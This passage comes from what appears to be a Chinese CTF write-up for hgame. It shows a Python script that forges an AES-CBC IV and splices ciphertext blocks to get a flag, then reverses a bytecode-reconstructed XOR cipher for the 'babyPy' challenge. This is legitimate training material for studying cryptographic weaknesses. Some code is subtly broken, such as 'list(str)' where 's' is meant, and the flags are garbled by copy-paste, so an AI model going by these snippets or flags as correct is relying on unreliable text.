"mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=" aesCipher = AesCrypter(key, fakeIV) fakePlainText = aesCipher.decrypt(ciperText) IV = '' for i in range (16 ): IV += chr (ord (fakePlainText[i]) ^ fakeIV[i] ^ ord (plainText[i])) IV = base64.b64encode(IV.encode('utf-8' )).decode('utf-8' ) cipherText2 = aesCipher.encrypt(plainText) cipherText2 = base64.b64decode(cipherText2).hex ()[:32 ] cipherText3 = 'dJntSWSPWbWocAq4yjBP5Q==' cipherText3 = base64.b64decode(cipherText3).hex ()[:32 ] cipherText4 = bytes .fromhex(cipherText2 + cipherText3) cipherText4 = base64.b64encode(cipherText4) plainText3 = aesCipher.decrypt(cipherText4) flag = '' flag += 'hgame{' + IV + plainText3[16 :] + '}' print (flag)
最终的flag
1 hgame {L1 R5 WFl6 UG5 ZOyQpXHdlXw==DiFfer3 Nt_w0 r1 d}
babyPy 这题比较简单,把log和dis指令表对照一下就能还原出来函数的原型来
dis指令表见https://docs.python.org/3/library/dis.html#python-bytecode-instructions
还原出来的函数原型(想打死命名的人)
1 2 3 4 5 6 7 8 def encrypt (OOo ): O0O = OOo[::-1 ] O0o = list (O0O) for O0 in range (1 , len (O0o)): Oo = O0o[O0-1 ] ^ O0o[O0] O0o[O0] = Oo O = bytes (O0o) return O.hex ()
所以只需要反过来异或一遍就可以了
1 2 3 4 5 s = bytes .fromhex('7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22' ) c = list (str ) for i in range (len (c) - 1 , 0 , -1 ): c[i] ^= c[i - 1 ] print (bytes (c[::-1 ]))
输出flag
1 hgame {sT4 cK_1 $_sO_e@Sy~~}
Comments